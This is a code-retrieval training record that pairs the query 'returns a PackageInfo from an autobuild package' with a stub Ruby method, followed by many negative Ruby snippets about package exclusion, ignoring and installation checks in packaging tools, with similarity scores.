{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def ignore?(pkg)\n ignores.include?(pkg)\n end", "def excluded?(package_name)\n package_name = validate_package_name_argument(package_name)\n\n if !explicitely_selected_in_layout?(package_name) && excluded_in_manifest?(package_name)\n true\n elsif automatic_exclusions.any? { |pkg_name,| pkg_name == package_name }\n true\n else\n false\n end\n end", "def excluded_in_manifest?(package_name)\n package_name = validate_package_name_argument(package_name)\n manifest_exclusions.any? do |matcher|\n if (pkg_set = metapackages[matcher]) && pkg_set.include?(package_name)\n true\n else\n Regexp.new(matcher) === package_name\n end\n end\n end", "def ignored?(package)\n package_name = validate_package_name_argument(package)\n cache_ignored_package_names.include?(package_name)\n end", "def package_enabled?(name)\n Autoproj.workspace.manifest.package_enabled?(name, false)\nend", "def has_package?(name)\n packages.has_key?(name) || os_package_resolver.include?(name)\n end", "def exclude_package(package_name, reason)\n package = validate_package_name_argument(\n package_name, require_existing: false\n )\n if (meta = find_metapackage(package))\n meta.each_package do |pkg|\n automatic_exclusions[pkg.name] =\n \"#{meta.name} is an excluded metapackage, \"\\\n \"and it includes #{pkg.name}: #{reason}\"\n end\n else\n automatic_exclusions[package] = reason\n end\n end", "def has_local_package?(package_name)\n !!locate_local_package(package_name)\n end", "def ignore_package(package)\n invalidate_ignored_package_names\n @ignored_packages << validate_package_name_argument(package, require_existing: false)\n end", "def package_in_flavor?(pkg, flavor_name)\n flavor_def = flavor_by_name(flavor_name)\n if pkg.respond_to?(:name)\n pkg = pkg.name\n end\n\n if flavor_def.implicit?\n pkg_set = Autoproj.manifest.find_package_definition(pkg).package_set\n if package_sets.include?(pkg_set)\n !flavor_def.removed?(pkg)\n else\n flavor_def.include?(pkg)\n end\n else\n return flavor_def.include?(pkg)\n end\n end", "def exclusion_reason(package_name)\n package_name = validate_package_name_argument(package_name)\n if (message = automatic_exclusions[package_name])\n return message\n end\n\n unless explicitely_selected_in_layout?(package_name)\n manifest_exclusions.each do |matcher|\n if (pkg_set = metapackages[matcher]) && pkg_set.include?(package_name)\n return \"#{pkg_set.name} is a metapackage listed in the exclude_packages section of the manifest, and it includes #{package_name}\"\n elsif Regexp.new(matcher) === package_name\n return \"#{package_name} is listed in the exclude_packages section of the manifest\"\n end\n end\n end\n nil\n end", "def is_metapackage?(package_name)\n raise RuntimeError, \"#{self.class} needs to overwrite is_metapackage?\"\n end", "def check_pkg_info\n return false if options['package_url'].nil? ||\n options['package_name'].nil?\n true\nend", "def has_package_set?(name)\n !!find_package_set(name)\n end", "def haspackage? pkgname\n\t\tif @cf.packagelist\n\t\t\treturn @cf.packagelist[pkgname]\n\t\tend\n\t\t# ---- check for direct name of binary using the path\n\t\t`which #{pkgname}` =~ /#{pkgname}/\n\tend", "def installer_package?\n installer_type.blank?\n end", "def is_module_package?(name)\n filename = File.expand_path(name)\n filename =~ /.tar.gz$/\n end", "def gem_should_be_checked?(gem_name)\n gem_name.index('barkest_') == 0\n end", "def is_framework_package?(name)\n options.current_execution_environment.packages.include?(name) || options.extra_packages.include?(name)\n end", "def excludes_dep?(gem_name)\n excluded_deps.any? { |d| d.name == gem_name }\n end", "def extern?\n extern_package_name && !extern_package_name.empty?\n end", "def include?(pkg)\n pkg = pkg.name unless pkg.respond_to?(:to_str)\n packages_by_name.has_key?(pkg)\n end", "def development_pkg?(pkg)\n if (r = development_regex) && pkg =~ r\n return true\n end\n\n false\n end", "def package *args\n\t\targs.each do | name |\n\t\t\treturn if haspackage? name\n\t\tend\n\t\t@cf.cfp_logger.notify VERBOSE_MAJOR,\"Skipping - package #{args.join(',')} not installed\"\n\t\traise PackageNotInstalledError.new('Package '+args.join(\",\")+' not installed')\n\tend", "def explicitely_selected_in_layout?(package_name)\n package_name = package_name.to_str\n normalized_layout.has_key?(package_name)\n end", "def package_selected?(name)\n Autoproj.workspace.manifest.package_selected?(name, false)\nend", "def package_name_valid?\n return false if metadata[\"sip-name\"] =~ /^\\./\n return false if metadata[\"sip-name\"] =~ /\"/\n return false if metadata[\"sip-name\"] =~ /'/\n return false if metadata[\"sip-name\"] =~ / /\n return false if metadata[\"sip-name\"].length > 32\n\n true\n end", "def ignore?(env)\n already_targeted? || manually_overridden? ||\n (local_domain?(env) && extension_local?)\n end", "def ignore?\n @should_ignore\n end", "def package?(package)\n # implement inside child\n end", "def check_package(pkg)\n string = \"Looking for #{pkg}...\"\n installed = `#{ @options[:pkg_chkr] } | grep #{ pkg }`\n if installed !~ /.*#{ pkg }.*/\n installed = false\n else\n installed = true\n end #if\n \n installed\n end", "def ignored?(file)\n return true if File.extname(file) == \".tmp\"\n return true if file.match(/___$/)\n return true if File.basename(file) == \".DS_Store\"\n return false\n end", "def prefer_indep_over_os_packages?; @prefer_indep_over_os_packages end", "def named?\n named = false\n\n if gem.present? and name.present?\n named = true\n end\n\n named\n end", "def skip_globals?(file_name_spec)\n return false unless file_name_spec == Noop::Config.spec_name_globals\n return true unless options[:filter_specs]\n not spec_included? file_name_spec\n end", "def ignored?\r\n infoxml = get_info\r\n \r\n if ignored = infoxml['ignored']\r\n return ignored == '1'\r\n end\r\n \r\n return false\r\n end", "def installed?\n false\n end", "def remove_from_default(*names)\n pkg_set = Autoproj.current_package_set\n Autoproj.workspace.manifest.metapackage(pkg_set.name).packages.delete_if do |pkg|\n names.include?(pkg.name)\n end\nend", "def local_package?(package)\n return false unless package && package[\"Dir\"]\n return false unless File.fnmatch?(\"#{config.root}*\", package[\"Dir\"], File::FNM_CASEFOLD)\n vendored_path_parts(package).nil?\n end", "def ignored?(name)\n f = @field_components_by_name[name]\n !f || f.ignored\n end", "def package_available?(package_name)\n refresh\n\n if @rpmdb.lookup(package_name)\n return true\n else\n if package_name =~ /^(.*)\\.(.*)$/\n pkg_name = $1\n pkg_arch = $2\n\n if matches = @rpmdb.lookup(pkg_name)\n matches.each do |m|\n return true if m.arch == pkg_arch\n end\n end\n end\n end\n\n false\n end", "def ignore?\n !!@ignore\n end", "def no_package_analysis\n @package_analysis = false\n end", "def require_name?\n true\n end", "def skip_name?(control, name)\n if control.has_key?(:exclude) and control[:exclude].include? name\n true\n elsif control.has_key?(:include) and not control[:include].include? name\n true\n end\n end", "def exempt?\n if @a_name.include?(\"book\") || @a_name.include?(\"chocolate\") || @a_name.include?(\"headache\")\n true\n else \n false\n end\n end", "def is_deb?\n return !!@name.match(/^(debian|ubuntu|cumulus|huaweios)-.*$/)\n end", "def ignored?\n !!ignored\n end", "def disabled?\n super || !gemfile.exist?\n end", "def package_by_name(package_name)\n raise RuntimeError, \"#{self.class} needs to overwrite package_by_name\"\n end", "def plugin_installed?(name)\n raise \"Not Implemented\"\n end", "def is_package_shippable? package\n return true\n\n # check for weight limits on service\n # country_weight_error? package\n end", "def r_package_is_installed(package_name)\n r_code = \"if (any(installed.packages()[,1] == '#{package_name}')) { quit('no', 0, FALSE) }; quit('no', 1, FALSE)\"\n \"echo \\\"#{r_code}\\\" | R --no-save --no-restore -q\"\nend", "def gem_only_available?()\n return !determine_common_folder() && is_dtk_common_core_gem_installed?\nend", "def package_manager\n false\n end", "def excludes_dev_dep?(gem_name)\n excluded_dev_deps.any? { |d| d.name == gem_name }\n end", "def check_for_package host, package_name\n host.check_for_package package_name\n end", "def software_installed?(name)\n result = execute_with_result('type', name)\n result and /\\A(#{name})(.)+(#{name})$/.match(result).to_a.count >= 3\n end", "def ignored?\n @ignored\n end", "def should_ignore?(path)\n @ignore && @ignore.ignore?(path)\n end", "def candidates_exist_for_all_uninstalled?\n packages_missing_candidates.empty?\n end", "def pkg_installed?(pkg)\n cmd_if %{dpkg-query --showformat='${Essential}\\n' --show '#{pkg}' > /dev/null 2>&1}\nend", "def check_package\n unless `file --dereference #{@fullname}` =~ /Debian binary package/i\n puts \"File does not exist or is not a Debian package!\"\n false\n end\n end", "def excluded?(project_name)\n @excluded_projects.has_key?(project_name)\n end", "def not_on(*architectures)\n architectures = architectures.map do |name|\n if name.respond_to?(:to_str)\n [name]\n else name\n end\n end\n\n os_names, os_versions = Autoproj.workspace.operating_system\n matching_archs = architectures.find_all { |arch| os_names.include?(arch[0].downcase) }\n if matching_archs.empty?\n return yield\n elsif matching_archs.all? { |arch| arch[1] && !os_versions.include?(arch[1].downcase) }\n return yield\n end\n\n # Simply get the current list of packages, yield the block, and exclude all\n # packages that have been added\n current_packages = Autobuild::Package.each(true).map(&:last).map(&:name).to_set\n yield\n new_packages = Autobuild::Package.each(true).map(&:last).map(&:name).to_set -\n current_packages\n\n new_packages.each do |pkg_name|\n Autoproj.workspace.manifest.add_exclusion(pkg_name, \"#{pkg_name} is disabled on this operating system\")\n end\nend", "def contains_requirable_file?(file)\n if @ignored\n return false\n elsif missing_extensions?\n @ignored = true\n\n if Gem::Platform::RUBY == platform || Gem::Platform.local === platform\n warn \"Ignoring #{full_name} because its extensions are not built. \" +\n \"Try: gem pristine #{name} --version #{version}\"\n end\n\n return false\n end\n\n have_file? file, Gem.suffixes\n end", "def local_module_obsolete?(org_plus_name)\n module_name = org_plus_name.split('-').last\n possible_matches = Dir.glob(File.join(@simp_modules_git_repos_path, \"*-#{module_name}.git\"))\n return false if possible_matches.empty?\n\n obsolete = false\n possible_matches.map! { |repo_name| \"pupmod-#{File.basename(repo_name, '.git')}\" }\n possible_matches.each do |pkg_name|\n result = %x{rpm -q #{pkg_name} --obsoletes 2>&1}\n if result.match(/^pupmod-#{org_plus_name}(\\s)+/)\n obsolete = true\n break\n end\n end\n obsolete\n end", "def is_pkg_avail?(pkg_name, version)\n\n return false unless is_platform_supported?\n\n script = \"yum list available #{pkg_name}-#{version}\"\n Chef::Log.info \"Checking the package: #{script}\"\n cmd = shell_out(script, :live_stream => Chef::Log)\n Chef::Log.info \"Exit status: #{cmd.exitstatus}. The #{pkg_name}-#{version} \" +\n \"package is #{cmd.exitstatus != 0 ? 'NOT' : '' } available \" +\n 'to install from OS repo.'\n cmd.exitstatus == 0\n end", "def is_pkg_avail?(pkg_name, version)\n\n return false unless is_platform_supported?\n\n script = \"yum list available #{pkg_name}-#{version}\"\n Chef::Log.info \"Checking the package: #{script}\"\n cmd = shell_out(script, :live_stream => Chef::Log)\n Chef::Log.info \"Exit status: #{cmd.exitstatus}. The #{pkg_name}-#{version} \" +\n \"package is #{cmd.exitstatus != 0 ? 'NOT' : '' } available \" +\n 'to install from OS repo.'\n cmd.exitstatus == 0\n end", "def go_std_package?(package)\n return false unless package\n\n # return true if package self-identifies\n return true if package[\"Standard\"]\n\n import_path = non_vendored_import_path(package)\n return false unless import_path\n\n # check different variations of the import path to match against\n # what's returned from `go list std`\n [\n import_path,\n import_path.sub(\"golang.org\", \"internal\"),\n import_path.sub(\"golang.org\", \"golang_org\"),\n ].any? do |path|\n # true if go standard packages includes the path or \"vendor/<path>\"\n go_std_packages.include?(path) || go_std_packages.include?(\"vendor/#{path}\")\n end\n end", "def is_rpm?\n return !!@name.match(/^(aix|cisco-wrlinux|el|eos|fedora|sles|redhat|redhatfips)-.*$/)\n end", "def guess_package_name(gem_name, args)\n package_name = nil\n package_name ||= guess_package_name_from_args(gem_name, args)\n package_name ||= guess_package_name_from_environment\n package_name ||= guess_package_name_from_appfile\n package_name ||= guess_package_name_from_config_files\n package_name\n end", "def ignore_production_checks?\n ignore_production_checks != 'false'\n end", "def keg_only?\n\t\tfalse\n\tend", "def package_updated?(pkg)\n # Find an existing orig.tar.gz in the build directory\n # ignoring the current version-timestamp\n orig_file_name = Dir.glob(\"#{debian_name(pkg)}*.orig.tar.gz\")\n if orig_file_name.empty?\n return true\n elsif orig_file_name.size > 1\n Packager.warn \"Multiple version of package #{debian_name(pkg)} in #{Dir.pwd} -- you have to fix this first\"\n else\n orig_file_name = orig_file_name.first\n end\n\n # Create a local copy/backup of the current orig.tar.gz in .obs_package \n # and extract it there -- compare the actual source package\n FileUtils.cp(orig_file_name, OBS_LOCAL_TMP) \n Dir.chdir(OBS_LOCAL_TMP) do\n `tar xzf #{orig_file_name}`\n base_name = orig_file_name.sub(\".orig.tar.gz\",\"\")\n Dir.chdir(base_name) do\n diff_name = \"#{orig_file_name}.diff\"\n `diff -urN --exclude .git --exclude .svn --exclude CVS --exclude debian --exclude build #{pkg.srcdir} . > #{diff_name}`\n if File.open(diff_name).lines.any? \n return true\n end\n end\n end\n return false\n end", "def excluded?(site, name)\r\n @config['exclude'].include? name\r\n end", "def is_ubuntu?\n return !!@name.match(/^ubuntu-.*$/)\n end", "def ignored_file?(path); end", "def check_for_package host, package_name\n host.check_for_package package_name\n end", "def is_broken?\n if @is_broken == true\n \"Your package is broken...\"\n end\n end", "def package_stowed?(name, version, creates)\n package_stowed = nil\n if ::File.exist?(\"#{stow_resolved_target}/#{creates}\")\n # Determine if the created file points to the proper version of the pkg\n package_stowed =\n ::File.realpath(stowed_symlink_path(creates))\n .include?(\"#{name}#{pkg_delim}#{version}\")\n else\n # Creates file path is not found in the target path, package not stowed\n package_stowed = false\n end\n Chef::Log.debug \".package_stowed?: #{package_stowed}\"\n package_stowed ? true : false\n end", "def application?\n (filtered_file =~ /^\\[PROJECT_ROOT\\]/i) && !(filtered_file =~ /^\\[PROJECT_ROOT\\]\\/vendor/i)\n end", "def is_unused?(dir)\n status = true\n\n path = Dir.glob(File.join(dir, \"*\"))\n path.each do |dirorfile|\n status = false if File.directory?(dirorfile)\n status = false if File.basename(dirorfile) =~ /\\.deb$/\n end\n\n status\n end", "def install?\n return false unless allowed_host?\n return false unless packages_installed?\n true\n end", "def needed_if_relevant?\n false\n end", "def package_if_necessary(pkg)\n if !package_is_installed?(pkg)\n banner \"#{pkg}...\"\n run \"apt-get -y install #{pkg}\"\n end\n end", "def safe_base_package_name\n if project.package_name =~ /\\A[a-z0-9\\.\\+\\-]+\\z/\n project.package_name.dup\n else\n converted = project.package_name.downcase.gsub(/[^a-z0-9\\.\\+\\-]+/, \"-\")\n\n log.warn(log_key) do\n \"The `name' component of IPS package names can only include \" \\\n \"lowercase alphabetical characters (a-z), numbers (0-9), dots (.), \" \\\n \"plus signs (+), and dashes (-). Converting `#{project.package_name}' to \" \\\n \"`#{converted}'.\"\n end\n converted\n end\n end", "def is_imported(item_name)\n item_name.include? \"imported\"\n end", "def needed_if_relevant?\n false\n end", "def package_name\n raise NotImplementedError\n end", "def reserved_name?\n !!self[:filename]\n end", "def remove_package(pkg_name)\n with_mutex do\n if @index[:deps].key? pkg_name\n @index[:deps][pkg_name].each do |pkg, _junk|\n if query_package(pkg)\n @logger.info(\"Unable to remove package #{pkg_name} due to dependency on #{pkg}\")\n return false\n end\n end\n end\n remove_package_deps(pkg_name)\n @index[:packages].delete(pkg_name)\n @logger.info(\"Removed #{pkg_name} from index\")\n return true\n end\n end", "def ignore?\n input.to_s[0] == '_'\n end", "def keg_only?; false end", "def should_do_pig_install?(pig_version)\n not (File.exists?(pig_directory(pig_version)))\n end", "def unpublished?\n /\\b(nom prov|comb prov|sensu lato|ined)\\b/i =~ author&.delete(\".\")\n end", "def installed?(filename)\n ( template?(filename) && find_associated(filename) ) ? true : false\n end", "def package(package_name)\n raise RuntimeError, \"#{self.class} needs to overwrite package\"\n end", "def ok_to_remove?(full_name)\n gem_to_remove = find_name(full_name)\n siblings = @specs.find_all { |s|\n\ts.name == gem_to_remove.name &&\n\t s.full_name != gem_to_remove.full_name\t\n }\n deps = []\n @specs.each do |spec|\n\tspec.dependencies.each do |dep|\n\t deps << dep if gem_to_remove.satisfies_requirement?(dep)\n\tend\n end\n deps.all? { |dep|\n\tsiblings.any? { |s| \n\t s.satisfies_requirement?(dep)\n\t}\n }\n end", "def package_override(project, var)\n fail \"I don't know how to set package overrides for #{name}, teach me?\"\n end" ]
[ "0.79493904", "0.7710564", "0.7631905", "0.7506304", "0.68551064", "0.6830192", "0.67682546", "0.669084", "0.6644329", "0.6630181", "0.66282696", "0.6599829", "0.65976524", "0.64821243", "0.6436557", "0.6399372", "0.6324904", "0.6306445", "0.626626", "0.6243097", "0.6232151", "0.62096924", "0.61484945", "0.61383855", "0.6133758", "0.6132206", "0.6056739", "0.605313", "0.6021608", "0.60203254", "0.60126716", "0.5999318", "0.5939858", "0.593959", "0.5915662", "0.5904767", "0.5890867", "0.58734936", "0.58683616", "0.5850876", "0.582689", "0.58237857", "0.5761755", "0.5718172", "0.5714755", "0.57032055", "0.57023215", "0.5696533", "0.56923586", "0.5667098", "0.5644112", "0.56343573", "0.56310844", "0.5623971", "0.56129736", "0.5611165", "0.5608651", "0.56055576", "0.5597198", "0.5593856", "0.55936", "0.55785877", "0.557219", "0.5551945", "0.5547944", "0.5546068", "0.5543406", "0.55383646", "0.55383646", "0.5538245", "0.55305153", "0.552117", "0.5517449", "0.55156064", "0.5513984", "0.5511177", "0.55079806", "0.54997295", "0.5485571", "0.5481523", "0.54809994", "0.548016", "0.5474981", "0.546696", "0.5465645", "0.5464046", "0.546118", "0.54581755", "0.5449285", "0.5436347", "0.5428414", "0.54260415", "0.54211646", "0.5419557", "0.5414954", "0.54119384", "0.5404079", "0.5397813", "0.5394794", "0.5392536" ]
0.739589
4
returns a PackageInfo from an autobuild package
def pkginfo_from_pkg(package) raise RuntimeError, "#{self.class} needs to overwrite pkginfo_from_pkg" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def find_autobuild_package(name)\n find_package_definition(name)&.autobuild\n end", "def set_package_info\n download_and_extract_package\n parse_package_description\n @package_hash = filter_into_package @package_desc\n @version_hash = filter_into_version @package_desc\n @author_hash = filter_into_author @package_desc[\"Author\"]\n @maintainer_hash = filter_into_author @package_desc[\"Maintainer\"]\n end", "def package_information\n puts\n puts \"%30s%s\" % [\"Plugin information : \", @package.metadata[:name]]\n puts \"%30s%s\" % [\"-\" * 22, \"-\" * 22]\n puts \"%30s%s\" % [\"Plugin Type : \", @package.plugintype.capitalize]\n puts \"%30s%s\" % [\"Package Output Format : \", @package_type.upcase]\n puts \"%30s%s\" % [\"Version : \", @package.metadata[:version]]\n puts \"%30s%s\" % [\"Iteration : \", @package.iteration]\n puts \"%30s%s\" % [\"Vendor : \", @package.vendor]\n puts \"%30s%s\" % [\"Post Install Script : \", @package.postinstall] if @package.postinstall\n puts \"%30s%s\" % [\"Author : \", @package.metadata[:author]]\n puts \"%30s%s\" % [\"License : \", @package.metadata[:license]]\n puts \"%30s%s\" % [\"URL : \", @package.metadata[:url]]\n\n if @package.packagedata.size > 0\n @package.packagedata = @package.packagedata.select{|k, v| v != nil}\n @package.packagedata.each_with_index do |values, i|\n if i == 0\n puts \"%30s%s\" % [\"Identified Packages : \", values[0]]\n else\n puts \"%30s%s\" % [\" \", values[0]]\n end\n end\n end\n end", "def package(pkginfo, options = Hash.new)\n options, unknown_options = Kernel.filter_options options,\n :force_update => false,\n :patch_dir => nil,\n :distribution => nil, # allow to override global settings\n :architecture => nil\n\n options[:distribution] ||= target_platform.distribution_release_name\n options[:architecture] ||= target_platform.architecture\n\n debian_pkg_name = debian_name(pkginfo)\n\n if options[:force_update]\n dirname = packaging_dir(pkginfo)\n if File.directory?(dirname)\n Packager.info \"Debian: rebuild requested -- removing #{dirname}\"\n FileUtils.rm_rf(dirname)\n end\n end\n\n options[:packaging_dir] = packaging_dir(pkginfo)\n options[:release_name] = rock_release_name\n\n begin\n # Set the current pkginfo to set the install directory\n # correctly\n # FIXME: needs to be refactored\n #\n @packager_lock.lock\n @current_pkg_info = pkginfo\n\n pkginfo = prepare_source_dir(pkginfo, options.merge(unknown_options))\n\n if pkginfo.build_type == :orogen || pkginfo.build_type == :cmake || pkginfo.build_type == :autotools\n package_default(pkginfo, options)\n elsif pkginfo.build_type == :ruby\n # Import bundles since they do not need to be build and\n # they do not follow the typical structure required for gem2deb\n if pkginfo.name =~ /bundles/\n package_importer(pkginfo, options)\n else\n package_ruby(pkginfo, options)\n end\n elsif pkginfo.build_type == :archive_importer || pkginfo.build_type == :importer_package\n package_importer(pkginfo, options)\n else\n raise ArgumentError, \"Debian: Unsupported package type #{pkginfo.build_type} for #{pkginfo.name}\"\n end\n ensure\n @current_pkg_info = nil\n @packager_lock.unlock\n end\n end", "def package_info(package_name)\n # return the package hash if it's in the brew info hash\n return brew_info[package_name] if brew_info[package_name]\n\n # check each item in the hash to see if we were passed an alias\n brew_info.each_value do |p|\n return p if p[\"full_name\"] == package_name || p[\"aliases\"].include?(package_name)\n end\n\n {}\n end", "def convert_package(pkginfo, packaging_dir,\n gem_name: nil,\n patch_dir: nil\n )\n Packager.info \"Package Ruby: '#{pkginfo.name}' with gem_name: '#{gem_name}'\"\n\n # update dependencies in any case, i.e. independent if package exists or not\n deps = pkginfo.dependencies\n Dir.chdir(pkginfo.srcdir) do\n begin\n logname = \"package-ruby-#{pkginfo.name.sub(\"/\",\"-\")}\" + \"-\" + Time.now.strftime(\"%Y%m%d-%H%M%S\").to_s + \".log\"\n logfile = File.join(log_dir, logname)\n\n gem = FileList[\"pkg/*.gem\"].first\n if not gem\n Packager.info \"#{self.class}: preparing gem generation in #{Dir.pwd}\"\n\n # Rake targets that should be tried for cleaning\n gem_clean_success = false\n Gem.clean_alternatives.each do |target|\n msg, status = Open3.capture2e(pkginfo.env, \"bundle exec rake #{target}\")\n if !status.success?\n Packager.info \"#{self.class}: failed to clean package '#{pkginfo.name}' using target '#{target}' #{msg} (see #{logfile})\"\n File.open(logfile,\"a+\") {|f| f.puts msg }\n else\n Packager.info \"#{self.class}: succeeded to clean package '#{pkginfo.name}' using target '#{target}'\"\n gem_clean_success = true\n break\n end\n end\n if not gem_clean_success\n Packager.warn \"#{self.class}: failed to cleanup ruby package '#{pkginfo.name}' -- continuing without cleanup\"\n end\n\n Packager.info \"#{self.class}: ruby package Manifest.txt is being autogenerated\"\n Package2Gem.generate_manifest_txt\n Package2Gem.cleanup_multiple_gemspec(gem_name)\n\n Packager.info \"#{self.class}: creating gem from package #{pkginfo.name} [#{File.join(log_dir, logname)}]\"\n\n if patch_pkg_dir(pkginfo.name, patch_dir, whitelist: [\"*.gemspec\", \"Rakefile\", \"metadata.yml\"])\n Packager.info \"#{self.class}: patched build files for ruby package before gem building: #{pkginfo.name}\"\n end\n\n # Allowed gem creation alternatives\n gem_creation_success = false\n\n # Gemspec often use the 'git ls -z' listings, which\n # might break if hidden files will be removed\n # without commiting -- so temporarily add and revert\n # again, to maintain the original commit id\n # TBD: or leave the commit and list the last N commits in the changelog\n Packager.info \"#{self.class}: temporarily commit changes in #{Dir.pwd}\"\n _,_,git_add_status = Open3.capture3(\"git add -A\")\n msg,git_commit_status = Open3.capture2(\"git commit -m 'Apaka: gem creation' --author 'Apaka Packager, <apaka@autocommit>'\")\n if !git_commit_status.success?\n Packager.info \"#{self.class}: commit failed: #{msg}\"\n end\n Gem.creation_alternatives.each do |target|\n msg, status = Open3.capture2e(pkginfo.env, \"bundle exec rake #{target}\")\n if !status.success?\n Packager.info \"#{self.class}: failed to create gem using target '#{target}' (see #{logfile})\"\n File.open(logfile,\"a+\") do |f|\n f.puts msg\n f.puts pkginfo.env\n end\n else\n Packager.info \"#{self.class}: succeeded to create gem using target '#{target}'\"\n gem_creation_success = true\n break\n end\n end\n if git_commit_status.success?\n Packager.info \"#{self.class}: git package status\"\n msg, git_revert = Open3.capture2(\"git reset --soft HEAD~1\")\n Packager.info \"#{self.class}: reversion of temporary commit failed\"\n end\n if not gem_creation_success\n raise RuntimeError, \"Debian: failed to create gem from RubyPackage #{pkginfo.name}\"\n end\n end\n\n gem = FileList[\"pkg/*.gem\"].first\n\n # Make the naming of the gem consistent with the naming schema of\n # other packages\n #\n # Make sure the gem has the fullname, e.g.\n # tools-metaruby instead of just metaruby\n if gem_name\n gem_name = gem.sub(Packaging.basename(pkginfo.name), gem_name)\n if gem != gem_name\n Packager.info \"#{self.class}: renaming #{gem} to #{gem_name}\"\n end\n else\n gem_name = gem\n end\n Packager.info \"#{self.class}: '#{pkginfo.name}' -- basename: #{Packaging.basename(pkginfo.name)} will be packaged as: #{gem_name}\"\n\n gem_final_path = File.join(packaging_dir, File.basename(gem_name))\n Packager.info \"#{self.class}: copy #{File.join(Dir.pwd, gem)} to #{gem_final_path}\"\n FileUtils.cp gem, gem_final_path\n return gem_final_path\n\n rescue Exception => e\n raise RuntimeError, \"#{self.class}: failed to create gem from RubyPackage #{pkginfo.name} -- #{e.message}\\n#{e.backtrace.drop(1).map{|s| \"\\t#{s}\"}}\"\n end\n end\n end", "def metapackage(name, *packages)\n Autoproj.workspace.manifest.metapackage(name, *packages)\nend", "def for_package(package)\n data = File.read(path_for(package))\n hash = FFI_Yajl::Parser.parse(data, symbolize_names: true)\n\n # Ensure Platform version has been truncated\n if hash[:platform_version] && hash[:platform]\n hash[:platform_version] = truncate_platform_version(hash[:platform_version], hash[:platform])\n end\n\n # Ensure an interation exists\n hash[:iteration] ||= 1\n\n new(package, hash)\n rescue Errno::ENOENT\n raise NoPackageMetadataFile.new(package.path)\n end", "def parsepkg package, force_rhel = nil\n raise \"Can't parse package name '#{package}'\" unless /(?<pkgname>^.*?)-(?<ver>[0-9\\.]*\\d)[.-](?<pkginfo>.*)$/ =~ package\n\n info = { name: pkgname, version: ver }\n pkgparts = pkginfo.split /[.-]/\n case info[:format] = pkgparts.pop\n when 'rpm'\n info[:arch] = pkgparts.pop\n raise \"Architecture '#{info[:arch]}' is not supported\" unless ['x86_64','noarch'].include? info[:arch]\n if pkgparts.detect { |c| /^(?:rh)?el(\\d)(_.*)?$/ =~ c }\n info[:rhel] = $~[1]\n else\n raise \"Can't determine CentOS release for '#{package}'. Force with -c option\" unless force_rhel\n info[:rhel] = force_rhel\n end\n when 'gem'\n else\n raise \"Suffix #{info[:format]} is not a recognized package type\"\n end\n return info\nend", "def package(name)\n if name.respond_to? :cache_path\n name\n elsif @versions[name]\n Package.for(@sources[name], @versions[name], @files[name])\n end\n end", "def output_package(pkg_type)\n case pkg_type\n when 'makeself'\n Packager::Makeself.new(self).package_name\n when 'msi'\n Packager::MSI.new(self).package_name\n when 'bff'\n Packager::BFF.new(self).package_name\n when 'solaris'\n Packager::Solaris.new(self).package_name\n when 'pkg'\n Packager::PKG.new(self).package_name\n when 'mac_dmg'\n pkg = Packager::PKG.new(self)\n Packager::MacDmg.new(pkg).package_name\n when 'rpm'\n Packager::RPM.new(self).package_name\n when 'deb'\n Packager::DEB.new(self).package_name\n else\n raise RuntimeError, \"I do not know how to build a `#{pkg_type}'!\"\n end\n end", "def download_and_extract_package\n @fetcher.get_package_file(@package_name, @version)\n Gem::Package::TarReader.new( Zlib::GzipReader.open @fetcher.temp_package_file_path ) do |tar|\n tar.each do |entry|\n next unless entry.file? and entry.full_name.match(\"DESCRIPTION\")\n @package_desc = entry.read\n end\n end\n FileUtils.rm_rf @fetcher.temp_package_file_path\n end", "def to_package\n package = Package.new(root)\n package.name = name\n package.version = version\n package.date = released\n package.path = loadpath\n package\n end", "def for_package(package)\n data = File.read(path_for(package))\n hash = JSON.parse(data, symbolize_names: true)\n new(package, hash)\n rescue Errno::ENOENT\n raise NoPackageMetadataFile.new(package.path)\n end", "def package(version)\n packages[version] if package_setup.include? version\n end", "def load_package_manifest(pkg)\n if pkg.respond_to?(:to_str)\n pkg_definition = find_package_definition(pkg)\n unless pkg_definition\n raise ArgumentError, \"#{pkg} is not a known package in #{self}\"\n end\n\n pkg = pkg_definition\n end\n package = pkg.autobuild\n package_set = pkg.package_set\n\n # Look for the package's manifest.xml, but fallback to a manifest in\n # the package set if present\n if package.use_package_xml? && package.checked_out?\n manifest_path = File.join(package.srcdir, \"package.xml\")\n raise NoPackageXML.new(package.srcdir), \"#{package.name} from \"\\\n \"#{package_set.name} has use_package_xml set, but the package has \"\\\n \"no package.xml file\" unless File.file?(manifest_path)\n\n manifest = PackageManifest.load(package, manifest_path,\n ros_manifest: true,\n condition_context: @ws.env)\n else\n manifest_paths = [File.join(package.srcdir, \"manifest.xml\")]\n if package_set.local_dir\n manifest_paths << File.join(\n package_set.local_dir, \"manifests\", \"#{package.name}.xml\"\n )\n end\n manifest_path = manifest_paths.find do |path|\n File.file?(path)\n end\n if manifest_path\n manifest = PackageManifest.load(package, manifest_path,\n ros_manifest: false,\n condition_context: @ws.config)\n end\n end\n\n if manifest\n pkg.autobuild.description = manifest\n else\n Autoproj.warn \"#{package.name} from #{package_set.name} \"\\\n \"does not have a manifest\"\n end\n\n pkg.apply_dependencies_from_manifest\n # #description is initialized with a null package manifest\n # return it even if we haven't overriden it\n pkg.autobuild.description\n end", "def package\n return @children['package'][:value]\n end", "def search_for_description pkgname, packages = []\n cache_key = \"description_package_#{pkgname.downcase}\"\n description_package = Rails.cache.fetch(cache_key, :expires_in => 12.hours) do\n if packages.blank?\n packages = Seeker.prepare_result(\"\\\"#{pkgname}\\\"\", nil, nil, nil, nil)\n packages = packages.reject {|p| p.first.type == 'ymp'}\n end\n packages.select {|p| p.name == pkgname}.each do |package|\n description_package = nil\n unless package.description.blank?\n description_package = package\n logger.info \"Found package info for #{pkgname} in: #{package.project}\"\n break\n end\n logger.error \"No package info for #{pkgname} in: #{package.project}\"\n end\n description_package\n end\n end", "def package\n @package ||= Package.initialize_from_path(path: \"#{resource_path}/package\",\n client: @client)\n end", "def load_package_info(setup_py)\n if !attributes[:python_package_prefix].nil?\n attributes[:python_package_name_prefix] = attributes[:python_package_prefix]\n end\n\n begin\n json_test_code = [\n \"try:\",\n \" import json\",\n \"except ImportError:\",\n \" import simplejson as json\"\n ].join(\"\\n\")\n safesystem(\"#{attributes[:python_bin]} -c '#{json_test_code}'\")\n rescue FPM::Util::ProcessFailed => e\n logger.error(\"Your python environment is missing json support (either json or simplejson python module). I cannot continue without this.\", :python => attributes[:python_bin], :error => e)\n raise 